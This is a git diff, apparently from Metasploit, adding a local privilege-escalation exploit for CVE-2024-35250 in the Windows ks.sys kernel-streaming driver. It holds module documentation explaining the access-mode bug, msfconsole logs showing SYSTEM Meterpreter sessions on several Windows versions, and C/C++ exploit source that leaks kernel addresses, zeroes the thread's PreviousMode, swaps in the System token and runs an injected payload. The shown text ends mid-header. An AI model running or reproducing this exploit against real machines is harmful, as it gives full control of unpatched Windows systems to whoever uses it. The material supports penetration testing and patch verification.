diff --git a/data/exploits/CVE-2024-35250/CVE-2024-35250.x64.dll b/data/exploits/CVE-2024-35250/CVE-2024-35250.x64.dll new file mode 100644 index 000000000000..fb06d935e3b6 Binary files /dev/null and b/data/exploits/CVE-2024-35250/CVE-2024-35250.x64.dll differ diff --git a/documentation/modules/exploit/windows/local/cve_2024_35250_ks_driver.md b/documentation/modules/exploit/windows/local/cve_2024_35250_ks_driver.md new file mode 100644 index 000000000000..8773054e66a3 --- /dev/null +++ b/documentation/modules/exploit/windows/local/cve_2024_35250_ks_driver.md @@ -0,0 +1,188 @@ +## Vulnerable Application +The ks.sys driver on Windows is one of the core components of Kernel Streaming and is installed by default. There exists +an Access Mode Mismatch LPE in this driver which can be exploited on some of the latest versions of Windows including: +- Windows 11 22H2, +- Windows 10 22H2 +- Windows 10 1607 +- Windows Server 2022 +- Windows Server 2016 + +### About the Bug Class +Access Mode Mismatch bugs in the Windows kernel center around the PreviousMode member of the `KTHREAD` structure. Every +thread has a previous access mode associated with it. The PreviousMode is set to UserMode(1) if a user operates on a +device or file through Nt* System Service Call, indicating that the System Service call is from the user. The PreviousMode +is set to KernelMode(2) if for example a device driver invoking the Zw* System Service Call. + +RequestorMode is a similar field in the I/O Request Packet (IRP) which indicates if the original request came from +KernelMode or UserMode. This commonly used field is typically derived from PreviousMode. + +### About the Vulnerability +An application can use `IOCTL_KS_PROPERTY` to get or set properties, or to determine the properties supported by a KS +object. An application passes `IOCTL_KS_PROPERTY` to the `ks!KsSynchronousIoControlDevice` with a few parameters: +Major Code, Input Buffer, Input Buffer Length, Output Buffer, Output Buffer Length and Status Code. To improve +efficiency in `IOCTL_KS_PROPERTY` of Kernel Streaming, the requests `KSPROPERTY_TYPE_SERIALIZESET` and +`KSPROPERTY_TYPE_UNSERIALIZESET` are provided to allow users to operate on multiple properties in a single call. + +The vulnerability stems from the driver's use of the function `ks!KsSynchronousIoControlDevice`. There are multiple calls +to this function throughout the driver which incorrectly hard code the RequestorMode parameter value KernelMode. The +vulnerable function `ks!KsSynchronousIoControlDevice` can be invoked by issuing a `KSPROPERTY_TYPE_UNSERIALIZESET` request +in which user controlled parameters are handled with KernelMode privileges specifically when the property is set to +`KSPROPSETID_DrmAudioStream`. This provides a primitive that allows users to perform arbitrary `IOCTL_KS_PROPERTY` +operations. + +To achieve EoP with this primitive first kCFG must be bypassed. By using the legitimate function `RtlSetAllBits` from +ntoskrnl.exe, the arbitrary `IOCTL_KS_PROPERTY` operation can be turned into a arbitrary write primitive which can be used +to achieve EoP by whatever typical method the user prefers. This module uses the write primitive to replace the +current process token with a system token. Abusing token privileges is also an option. + +### Setup + +Install Windows 10 22H2 (before 10.0.19045.4529) on any HyperVisor other than Hyper-V. Hyper-V does not have an audio +device by default, causing the exploit to fail. + +## Verification Steps + +1. Start msfconsole +1. Get a user level session on an affected Windows machine +1. Do: `use windows/local/cve_2024_35250_ks_driver` +1. Set the `LHOST`, `LPORT`, and `SESSION` options +1. Run the module +1. Receive a session running in the context of the `NT AUTHORITY\SYSTEM` user. + +## Scenarios +### Windows 10 22H2 (10.0 Build 19045) +``` +msf6 exploit(windows/local/cve_2024_35250_ks_driver) > rexploit +[*] Reloading module... + +[*] Started reverse TCP handler on 192.168.123.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows 10+ Build 19045 +[*] Launching notepad to host the exploit... +[*] The notepad path is: C:\Windows\System32\notepad.exe +[*] The notepad pid is: 1012 +[*] Reflectively injecting the DLL into 1012... +[*] Sending stage (201798 bytes) to 192.168.123.236 +[*] Meterpreter session 3 opened (192.168.123.1:5555 -> 192.168.123.236:49676) at 2024-11-04 09:47:50 -0800 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : DESKTOP-0OPTL76 +OS : Windows 10 (10.0 Build 19045). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +``` + +### Windows 10 1607 (10.0 Build 14393) +``` +msf6 exploit(windows/local/cve_2024_35250_ks_driver) > run + +[*] Started reverse TCP handler on 192.168.123.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows 10+ Build 14393 +[*] Launching notepad to host the exploit... +[*] The notepad path is: C:\Windows\System32\notepad.exe +[*] The notepad pid is: 4272 +[*] Reflectively injecting the DLL into 4272... +[*] Sending stage (201798 bytes) to 192.168.123.240 +[*] Meterpreter session 5 opened (192.168.123.1:5555 -> 192.168.123.240:49675) at 2024-11-05 10:19:30 -0800 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : DESKTOP-4A5TFR5 +OS : Windows 10 (10.0 Build 14393). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > +``` + +### Windows 11 22H2 (10.0 Build 22621) +``` +msf6 exploit(windows/local/cve_2024_35250_ks_driver) > run + +[*] Started reverse TCP handler on 192.168.123.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows 10+ Build 22621 +[*] Launching notepad to host the exploit... +[*] The notepad path is: C:\Windows\System32\notepad.exe +[*] The notepad pid is: 6948 +[*] Reflectively injecting the DLL into 6948... +[*] Sending stage (201798 bytes) to 192.168.123.1 +[*] Meterpreter session 7 opened (192.168.123.1:5555 -> 192.168.123.1:52543) at 2024-11-04 11:22:59 -0800 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : MSFDEVICE +OS : Windows 11 (10.0 Build 22621). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > +``` + +### Windows Server 2022 (10.0 Build 20348) +``` +msf6 exploit(windows/local/cve_2024_35250_ks_driver) > rexploit +[*] Reloading module... + +[*] Started reverse TCP handler on 172.16.199.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows Server 2016+ Build 20348 +[*] Launching notepad to host the exploit... +[*] The notepad path is: C:\Windows\System32\notepad.exe +[*] The notepad pid is: 7336 +[*] Reflectively injecting the DLL into 7336... +[*] Sending stage (201798 bytes) to 172.16.199.132 +[*] Meterpreter session 3 opened (172.16.199.1:5555 -> 172.16.199.132:49977) at 2024-11-05 10:03:36 -0800 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-LBHI5KSJDU4 +OS : Windows Server 2022 (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x64/windows +meterpreter > +``` + +### Windows Server 2016 (10.0 Build 14393) +``` +msf6 exploit(windows/local/cve_2024_35250_ks_driver) > run + +[*] Started reverse TCP handler on 172.16.199.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows Server 2016+ Build 14393 +[*] Launching notepad to host the exploit... +[*] The notepad path is: C:\Windows\System32\notepad.exe +[*] The notepad pid is: 316 +[*] Reflectively injecting the DLL into 316... +[*] Sending stage (201798 bytes) to 172.16.199.135 +[*] Meterpreter session 7 opened (172.16.199.1:5555 -> 172.16.199.135:49691) at 2024-11-05 13:48:17 -0800 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-4DS9S9C0JSC +OS : Windows Server 2016 (10.0 Build 14393). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x64/windows +meterpreter > +``` + diff --git a/external/source/exploits/CVE-2024-35250/CVE-2024-35250.sln b/external/source/exploits/CVE-2024-35250/CVE-2024-35250.sln new file mode 100644 index 000000000000..f342da1c920c --- /dev/null +++ b/external/source/exploits/CVE-2024-35250/CVE-2024-35250.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.9.34728.123 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2024-35250", "CVE-2024-35250.vcxproj", "{28C2C0C9-40D4-4DD1-818E-6CC688517DE1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Debug|x64.ActiveCfg = Debug|x64 + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Debug|x64.Build.0 = Debug|x64 + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Debug|x86.ActiveCfg = Debug|Win32 + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Debug|x86.Build.0 = Debug|Win32 + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Release|x64.ActiveCfg = Release|x64 + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Release|x64.Build.0 = Release|x64 + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Release|x86.ActiveCfg = Release|Win32 + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {F516170D-E947-4648-8440-505E807D5DDD} + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/CVE-2024-35250/CVE-2024-35250.vcxproj b/external/source/exploits/CVE-2024-35250/CVE-2024-35250.vcxproj new file mode 100644 index 000000000000..a9e21b1768f3 --- /dev/null +++ b/external/source/exploits/CVE-2024-35250/CVE-2024-35250.vcxproj @@ -0,0 +1,237 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {28c2c0c9-40d4-4dd1-818e-6cc688517de1} + Win32Proj + CVE_2024_35250 + 10.0 + + + + DynamicLibrary + true + v142 + MultiByte + + + DynamicLibrary + false + v142 + false + MultiByte + + + DynamicLibrary + true + v142 + MultiByte + + + DynamicLibrary + false + v143 + false + MultiByte + + + + + + + + + + + + + + + + + + + + + true + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + + + true + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + + + false + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + false + + + false + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + false + + + + NotUsing + Level3 + true + WIN32;_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories) + ProgramDatabase + true + OnlyExplicitInline + true + MultiThreaded + false + + + Windows + true + false + true + $(OutDir)$(TargetName).pdb + $(OutDir)$(TargetName).map + false + $(OutDir)$(ProjectName).lib + %(AdditionalLibraryDirectories) + + + + + TurnOffAllWarnings + false + _DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + false + stdafx.h + C:\Users\msfuser\Documents\git\metasploit-framework\external\source\include\windows\;C:\Users\msfuser\Documents\git\metasploit-framework\external\source\exploits\CVE-2024-35250\CVE-2024-35250\;..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories) + ProgramDatabase + false + OnlyExplicitInline + true + MultiThreadedDLL + false + + + Windows + true + false + true + $(OutDir)$(TargetName).pdb + $(OutDir)$(TargetName).map + false + $(OutDir)$(ProjectName).lib + %(AdditionalLibraryDirectories) + + + + + NotUsing + Level3 + false + false + + + WIN32;NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories) + true + OnlyExplicitInline + true + MultiThreaded + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + + + Windows + true + true + false + false + %(AdditionalLibraryDirectories) + false + $(OutDir)$(TargetName).map + $(OutDir)$(TargetName).pdb + false + $(OutDir)$(ProjectName).lib + + + + + NotUsing + Level3 + false + false + + + NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + false + stdafx.h + C:\users\msfuser\Documents\git\metasploit-framework\external\source\include\windows;..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories) + false + OnlyExplicitInline + true + MultiThreaded + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Default + + + Windows + true + true + false + false + %(AdditionalLibraryDirectories) + false + $(OutDir)$(TargetName).map + $(OutDir)$(TargetName).pdb + false + $(OutDir)$(ProjectName).lib + MultiplyDefinedSymbolOnly + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2024-35250/dllmain.c b/external/source/exploits/CVE-2024-35250/dllmain.c new file mode 100644 index 000000000000..3f6d9ac612ed --- /dev/null +++ b/external/source/exploits/CVE-2024-35250/dllmain.c @@ -0,0 +1,44 @@ +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +#include "ReflectiveLoader.c" +#include "common.h" + +#ifdef __cplusplus +extern "C" { +#endif + + int Exploit(PMSF_PAYLOAD lpReserved); + +#ifdef __cplusplus +} +#endif + +void main(PMSF_PAYLOAD lpReserved) { + Exploit(lpReserved); + return; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + PMSF_PAYLOAD payload = (PMSF_PAYLOAD)lpReserved; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE*)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + main(payload); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return TRUE; +} diff --git a/external/source/exploits/CVE-2024-35250/exploit.cpp b/external/source/exploits/CVE-2024-35250/exploit.cpp new file mode 100644 index 000000000000..12da24d305e2 --- /dev/null +++ b/external/source/exploits/CVE-2024-35250/exploit.cpp @@ -0,0 +1,413 @@ +/* + PoC Info +-------------------------------------------------------------- +Vulnerability: CVE-2024-35250 +Tested environment: Windows 11 22h2 Build 22621 + Windows 10 20h2 Build 19042 + Windows 10 1607 Build 14393 + Windows Server 2022 Build 20348 + Windows Server 2019 Build 17763 + Windows Server 2016 Build 14393 + VMWare Fusion Professional Version 13.6.0 +Author: varwara (edited by jheysel for metasploit compatibility) +Weakness: CWE-822: Untrusted Pointer Dereference +Known limitations: Didn't work in Hyper-V environments +Required privileges: Medium IL +-------------------------------------------------------------- +*/ +#define __STREAMS__ +#define _INC_MMREG +#define _PREVIOUS_MODE 0xbaba + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "exploit.h" +#include "common.h" +#include + +#pragma comment(lib, "Ksproxy.lib") +#pragma comment(lib, "ksuser.lib") +#pragma comment(lib, "ntdll.lib") +#pragma comment(lib, "ntdllp.lib") +#pragma comment(lib, "SetupAPI.lib") +#pragma comment(lib, "Advapi32.lib") + +const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL; +fNtQuerySystemInformation NtQuerySystemInfo = NULL; +fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL; + +// +// Get the kernel object pointer for the specific process by it's handle +// +int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle) + +{ + int32_t Ret = -1; + PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0; + ULONG ulBytes = 0; + NTSTATUS Status = STATUS_SUCCESS; + + + + // + // Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH + // + while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L) + { + if (pHandleInfo != NULL) + { + pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes); + } + + else + { + pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes); + } + } + + if (Status != NULL) + { + Ret = Status; + goto done; + } + + for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) + { + if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle)) + { + *ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object; + Ret = 0; + break; + } + } + + +done: + if (pHandleInfo != NULL) + { + HeapFree(GetProcessHeap(), 0, pHandleInfo); + } + return Ret; +} + +// +// ALlocate fake bitmap for arbitrary r/w operations +// +void* AllocateBitmap(SIZE_T size, LPVOID baseAddress) { + + LPVOID allocatedMemory = VirtualAlloc(baseAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + if (allocatedMemory == NULL) + { + return NULL; + } + + return allocatedMemory; +} + +UINT_PTR GetKernelModuleAddress(const char* TargetModule) +{ + NTSTATUS status; + ULONG ulBytes = 0; + PSYSTEM_MODULE_INFORMATION handleTableInfo = NULL; + + while ((status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) + { + if (handleTableInfo != NULL) + { + handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes); + } + + else + { + handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes); + } + } + + if (status == 0) + { + for (ULONG i = 0; i < handleTableInfo->ModulesCount; i++) + { + char* moduleName = strstr(handleTableInfo->Modules[i].Name, TargetModule); + if (moduleName != NULL) + { + return (UINT_PTR)handleTableInfo->Modules[i].ImageBaseAddress; + } + } + } + else + { + if (handleTableInfo != NULL) + { + HeapFree(GetProcessHeap(), 0, handleTableInfo); + return 0; + } + } + + HeapFree(GetProcessHeap(), 0, handleTableInfo); + + return 0; +} + +DWORD64 leak_gadget_address(LPCSTR GadgetName) +{ + DWORD64 module_base_kernel, rtlSetAllBits_address; + HMODULE module_base_user; + + module_base_user = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); + if (!module_base_user) + goto error; + + rtlSetAllBits_address = (DWORD64)GetProcAddress(module_base_user, GadgetName); + if (!rtlSetAllBits_address) { + goto error; + } + module_base_kernel = GetKernelModuleAddress("ntoskrnl.exe"); + rtlSetAllBits_address = module_base_kernel + (rtlSetAllBits_address - (DWORD64)module_base_user); + + return rtlSetAllBits_address; +error: + return FALSE; +} + +// +// A wrapper to make arbitrary writes to the whole system memory address space +// +NTSTATUS Write64(void* Dst, void* Src, size_t Size) +{ + NTSTATUS Status = 0; + PULONG cbNumOfBytesWrite = 0; + + Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, cbNumOfBytesWrite); + if (!NT_SUCCESS(Status)) + { + return -1; + } + return Status; +} + +void ExecutePayload(PMSF_PAYLOAD pMsfPayload) { + if (!pMsfPayload) + return; + PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!pPayload) + return; + CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize); + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pPayload, NULL, 0, NULL); +} + +static BOOL ResolveRequirements(DWORD dwMajor, DWORD dwMinor, DWORD dwBuild) { + + dwBuild = LOWORD(dwBuild); + if ((dwMajor == 10) && (dwMinor == 0)) { + if ((dwBuild >= 14393) && (dwBuild <= 19045)) { + if ((dwBuild < 15063)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v1607; + } + else if ((dwBuild < 16299)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v1703; + } + else if ((dwBuild < 17134)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v1709; + } + else if ((dwBuild < 17763)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v1803; + } + else if ((dwBuild < 18362)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v1809; + } + else if ((dwBuild < 19041)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v1903; + } + else if ((dwBuild < 19043)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v2004; + } + else if ((dwBuild == 19044)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v21H2; + } + else if ((dwBuild == 19045)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v21H2; + } + } + else if (dwBuild == 22000) { + g_pEprocessOffsets = &EprocessOffsetsWin11v21H2; + } + else if (dwBuild == 20348) { + g_pEprocessOffsets = &EprocessOffsetsWinServer2022; + } + else if (dwBuild == 22621) { + g_pEprocessOffsets = &EprocessOffsetsWin11v22H2; + } + } + else { + return FALSE; + } + return TRUE; +} + + +extern "C" int Exploit(PMSF_PAYLOAD pMsfPayload) +{ + HRESULT hr; + HANDLE hDrmDevice = NULL; + UCHAR InBuffer[sizeof(KSPROPERTY) + sizeof(EXPLOIT_DATA2)] = { 0 }; + KSPROPERTY* pInBufProperty = (KSPROPERTY*)InBuffer; + EXPLOIT_DATA2* pInBufPropertyData = (EXPLOIT_DATA2*)(pInBufProperty + 1); + + UCHAR UnserializePropertySetRequest[sizeof(KSPROPERTY_SERIALHDR) + sizeof(KSPROPERTY_SERIAL) + sizeof(EXPLOIT_DATA1)] = { 0 }; + + KSPROPERTY_SERIALHDR* pSerialHdr = (KSPROPERTY_SERIALHDR*)UnserializePropertySetRequest; + PKSPROPERTY_SERIAL pSerial = (KSPROPERTY_SERIAL*)(pSerialHdr + 1); + EXPLOIT_DATA1* pOutBufPropertyData = (EXPLOIT_DATA1*)(pSerial + 1); + + BOOL res = FALSE; + NTSTATUS status = 0; + + uint32_t Ret = 0; + + const GUID categories[] = { + KSCATEGORY_DRM_DESCRAMBLE, + }; + + // + // Get a KS object device with ksproxy.ax API + // + for (int i = 0; i < sizeof(categories) / sizeof(categories[0]); i++) + { + hr = KsOpenDefaultDevice(categories[i], GENERIC_READ | GENERIC_WRITE, &hDrmDevice); + + if (hr != NOERROR) { + return -1; + } + + } + + uint64_t Sysproc = 0; + uint64_t Curproc = 0; + uint64_t Curthread = 0; + + HANDLE hCurproc = 0; + HANDLE hThread = 0; + + // + // Leak System _EPROCESS kernel address + // + Ret = GetObjPtr(&Sysproc, 4, (HANDLE)4); + if (Ret != NULL) + { + return Ret; + } + + // + // Leak Current _KTHREAD kernel address + // + hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId()); + if (hThread != NULL) + { + Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread); + if (Ret != NULL) + { + return Ret; + } + } + + // + // Leak Current _EPROCESS kernel address + // + hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId()); + if (hCurproc != NULL) + { + Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc); + if (Ret != NULL) + { + return Ret; + } + } + + // + // Get necessary offsets based on Windows Version + // + HMODULE hNtdll = GetModuleHandle("ntdll"); + NtQuerySystemInfo = (fNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation"); + if (NtQuerySystemInfo == NULL) { + return FALSE; + } + + if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) { + return FALSE; + } + + /* get the version to determine the necessary eprocess offsets */ + DWORD dwMajor, dwMinor, dwBuild; + RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild); + if (!ResolveRequirements(dwMajor, dwMinor, dwBuild)) { + return 0; + } + + // + // Initialize input buffer + // + pInBufProperty->Set = KSPROPSETID_DrmAudioStream; + pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET; + pInBufProperty->Id = 0x0; + + // + // Initialize output buffer + // + pSerialHdr->PropertySet = KSPROPSETID_DrmAudioStream; + pSerialHdr->Count = 0x1; + + pSerial->PropertyLength = sizeof(EXPLOIT_DATA1); + pSerial->Id = 0x0; // Should be null + pSerial->PropTypeSet.Set = KSPROPSETID_DrmAudioStream; + pSerial->PropTypeSet.Flags = 0x0; // Should be null + pSerial->PropTypeSet.Id = 0x45; // Irrelevant value + + // + // Intialize fake property data + // + uint64_t ntoskrnl_user_base = 0; + HMODULE outModule = 0; + UINT_PTR ntoskrnlKernelBase = GetKernelModuleAddress("ntoskrnl.exe"); + pOutBufPropertyData->FakeBitmap = (PRTL_BITMAP)AllocateBitmap(sizeof(RTL_BITMAP), ULongLongToPtr64(0x10000000)); + + // + // FakeBitmap initialization for the overwriting KTHREAD.PreviousMode field technique + // + pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20; + pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET); // KTHREAD.PreviousMode field address + pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlClearAllBits")); // This gadget will zeroing KTHREAD.PreviousMode field + + // + // Send property request to trigger the vulnerability + // + res = DeviceIoControl(hDrmDevice, IOCTL_KS_PROPERTY, pInBufProperty, sizeof(InBuffer), pSerialHdr, sizeof(UnserializePropertySetRequest), NULL, NULL); + + uint8_t mode = UserMode; // We set UserMode in restoring thread state phase to avoid BSOD in further process creations + Write64(ULongLongToPtr64(Curproc + g_pEprocessOffsets->Token), ULongLongToPtr64(Sysproc + g_pEprocessOffsets->Token), /* Token size */ 0x8); + + // + // Restoring KTHREAD.PreviousMode phase + // + Write64(ULongLongToPtr64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET), &mode, sizeof(mode)); + + // + // Execute the payload as NT AUTHORITY\SYSTEM + // + ExecutePayload(pMsfPayload); + + return 0; +} diff --git a/external/source/exploits/CVE-2024-35250/exploit.h b/external/source/exploits/CVE-2024-35250/exploit.h new file mode 100644 index 000000000000..24695c4a0bc5 --- /dev/null +++ b/external/source/exploits/CVE-2024-35250/exploit.h @@ -0,0 +1,115 @@ +#pragma once + +#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) +#define EPROCESS_TOKEN_OFFSET 0x4B8 +#define KTHREAD_PREVIOUS_MODE_OFFSET 0x232 +#define SystemHandleInformation 0x10 +#define SystemModuleInformation 11 +#define SystemHandleInformationSize 0x400000 + + +typedef VOID(__stdcall* fRtlGetNtVersionNumbers)( + DWORD* MajorVersion, + DWORD* MinorVersion, + DWORD* BuildNumber + ); + +typedef NTSTATUS(__stdcall* fNtQuerySystemInformation)( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + +enum _MODE +{ + KernelMode = 0, + UserMode = 1 +}; + +typedef struct SYSTEM_MODULE { + ULONG Reserved1; + ULONG Reserved2; +#ifdef _WIN64 + ULONG Reserved3; +#endif + PVOID ImageBaseAddress; + ULONG ImageSize; + ULONG Flags; + WORD Id; + WORD Rank; + WORD w018; + WORD NameOffset; + CHAR Name[255]; +}SYSTEM_MODULE, * PSYSTEM_MODULE; + +typedef struct SYSTEM_MODULE_INFORMATION { + ULONG ModulesCount; + SYSTEM_MODULE Modules[1]; +} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO +{ +USHORT UniqueProcessId; +USHORT CreatorBackTraceIndex; +UCHAR ObjectTypeIndex; +UCHAR HandleAttributes; +USHORT HandleValue; +PVOID Object; +ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + ULONG NumberOfHandles; + 